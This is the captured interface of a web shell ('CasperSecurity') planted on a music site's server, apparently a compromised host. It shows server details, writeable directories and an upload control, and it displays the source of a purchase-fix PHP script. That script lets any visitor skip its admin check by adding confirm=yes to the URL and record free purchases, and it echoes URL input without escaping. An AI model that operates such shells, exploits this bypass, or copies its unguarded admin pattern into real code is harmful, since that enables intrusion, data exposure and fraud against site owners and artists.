T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_missing_purchase.php
<?php
/**
 * Fix Missing Purchase Script
 * Manually adds a purchase record for a user who bought a track but the transaction wasn't recorded
 * 
 * Usage: Run this script once via browser or command line to fix the missing purchase
 * Example: https://soundstudiopro.com/fix_missing_purchase.php?user_name=Kat%20Zen&track_id=182&price=1.99
 */

session_start();
require_once 'config/database.php';

// Security: Only allow admins or run with confirmation
$is_admin = isset($_SESSION['is_admin']) && $_SESSION['is_admin'];
$confirm = $_GET['confirm'] ?? 'false';

// If not admin, require explicit confirmation
if (!$is_admin && $confirm !== 'yes') {
    die("
    <h2>Fix Missing Purchase</h2>
    <p>This script will manually add a purchase record.</p>
    <p><strong>WARNING:</strong> Only run this if you're certain a purchase was made but not recorded.</p>
    <p>To proceed, add <code>&confirm=yes</code> to the URL.</p>
    <p>Example: <code>fix_missing_purchase.php?user_name=Kat%20Zen&track_id=182&price=1.99&confirm=yes</code></p>
    ");
}

try {
    $pdo = getDBConnection();
    
    // Get parameters
    $user_name = $_GET['user_name'] ?? 'Kat Zen';
    $track_id = intval($_GET['track_id'] ?? 182);
    $price = floatval($_GET['price'] ?? 1.99);
    $payment_method = $_GET['payment_method'] ?? 'stripe';
    $payment_intent_id = $_GET['payment_intent_id'] ?? 'manual_fix_' . time();
    
    echo "<h2>Fixing Missing Purchase</h2>";
    echo "<p><strong>User:</strong> {$user_name}</p>";
    echo "<p><strong>Track ID:</strong> {$track_id}</p>";
    echo "<p><strong>Price:</strong> \${$price}</p>";
    echo "<hr>";
    
    // Find user by name
    $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE name = ? LIMIT 1");
    $stmt->execute([$user_name]);
    $user = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if (!$user) {
        die("<p style='color: red;'><strong>ERROR:</strong> User '{$user_name}' not found in database.</p>");
    }
    
    $user_id = $user['id'];
    echo "<p>✅ Found user: {$user['name']} (ID: {$user_id}, Email: {$user['email']})</p>";
    
    // Get track information
    $stmt = $pdo->prepare("
        SELECT 
            mt.id,
            mt.title,
            mt.price,
            mt.user_id as artist_id,
            u.name as artist_name,
            u.plan as artist_plan
        FROM music_tracks mt
        JOIN users u ON mt.user_id = u.id
        WHERE mt.id = ? AND mt.status = 'complete'
    ");
    $stmt->execute([$track_id]);
    $track = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if (!$track) {
        die("<p style='color: red;'><strong>ERROR:</strong> Track ID {$track_id} not found or not complete.</p>");
    }
    
    echo "<p>✅ Found track: '{$track['title']}' by {$track['artist_name']} (Price: \${$track['price']})</p>";
    
    // Check if purchase already exists
    $stmt = $pdo->prepare("
        SELECT id FROM track_purchases 
        WHERE user_id = ? AND track_id = ?
    ");
    $stmt->execute([$user_id, $track_id]);
    $existing = $stmt->fetch();
    
    if ($existing) {
        die("<p style='color: orange;'><strong>WARNING:</strong> Purchase already exists (ID: {$existing['id']}). No action needed.</p>");
    }
    
    // Determine revenue recipient
    $is_free_user_track = (strtolower($track['artist_plan']) === 'free');
    $revenue_recipient = $is_free_user_track ? 'platform' : 'artist';
    $recipient_id = $is_free_user_track ? 1 : $track['artist_id'];
    
    echo "<p>📊 Revenue recipient: {$revenue_recipient} (ID: {$recipient_id})</p>";
    
    // Start transaction
    $pdo->beginTransaction();
    
    try {
        // 1. Record sale
        $stmt = $pdo->prepare("
            INSERT INTO sales (
                track_id, buyer_id, artist_id, amount, quantity, 
                revenue_recipient, recipient_id, is_free_user_track, 
                created_at
            ) VALUES (?, ?, ?, ?, 1, ?, ?, ?, NOW())
        ");
        $stmt->execute([
            $track_id,
            $user_id,
            $track['artist_id'],
            $price,
            $revenue_recipient,
            $recipient_id,
            $is_free_user_track ? 1 : 0
        ]);
        $sale_id = $pdo->lastInsertId();
        echo "<p>✅ Recorded sale (ID: {$sale_id})</p>";
        
        // 2. Record purchase
        // Check if payment_method column exists
        $check_cols = $pdo->query("SHOW COLUMNS FROM track_purchases LIKE 'payment_method'");
        $has_payment_method = $check_cols->rowCount() > 0;
        
        if ($has_payment_method) {
            $stmt = $pdo->prepare("
                INSERT INTO track_purchases (
                    user_id, track_id, price_paid, credits_used, 
                    payment_method, stripe_payment_intent_id, purchase_date
                ) VALUES (?, ?, ?, 0, ?, ?, NOW())
            ");
            $stmt->execute([
                $user_id, 
                $track_id, 
                $price, 
                $payment_method, 
                $payment_intent_id
            ]);
        } else {
            // Fallback for older schema
            $stmt = $pdo->prepare("
                INSERT INTO track_purchases (
                    user_id, track_id, price_paid, credits_used, purchase_date
                ) VALUES (?, ?, ?, 0, NOW())
            ");
            $stmt->execute([
                $user_id, 
                $track_id, 
                $price
            ]);
        }
        $purchase_id = $pdo->lastInsertId();
        echo "<p>✅ Recorded purchase (ID: {$purchase_id})</p>";
        
        // 3. Add to user's library
        $stmt = $pdo->prepare("
            INSERT IGNORE INTO user_library (user_id, track_id, purchase_date)
            VALUES (?, ?, NOW())
        ");
        $stmt->execute([$user_id, $track_id]);
        echo "<p>✅ Added track to user library</p>";
        
        // Commit transaction
        $pdo->commit();
        
        echo "<hr>";
        echo "<p style='color: green; font-size: 18px;'><strong>✅ SUCCESS!</strong> Purchase has been manually added.</p>";
        echo "<p><a href='/my_purchases.php'>View Purchases</a> | <a href='/track.php?id={$track_id}'>View Track</a></p>";
        
        // Log the manual fix
        $log_entry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'action' => 'manual_purchase_fix',
            'user_id' => $user_id,
            'user_name' => $user_name,
            'track_id' => $track_id,
            'track_title' => $track['title'],
            'price' => $price,
            'payment_method' => $payment_method,
            'payment_intent_id' => $payment_intent_id
        ];
        
        $log_file = __DIR__ . '/logs/manual_purchase_fixes.log';
        if (!is_dir(__DIR__ . '/logs')) {
            mkdir(__DIR__ . '/logs', 0755, true);
        }
        file_put_contents($log_file, json_encode($log_entry) . "\n", FILE_APPEND | LOCK_EX);
        
    } catch (Exception $e) {
        $pdo->rollBack();
        throw $e;
    }
    
} catch (Exception $e) {
    echo "<p style='color: red;'><strong>ERROR:</strong> " . htmlspecialchars($e->getMessage()) . "</p>";
    echo "<p>Stack trace:</p><pre>" . htmlspecialchars($e->getTraceAsString()) . "</pre>";
}


CasperSecurity Mini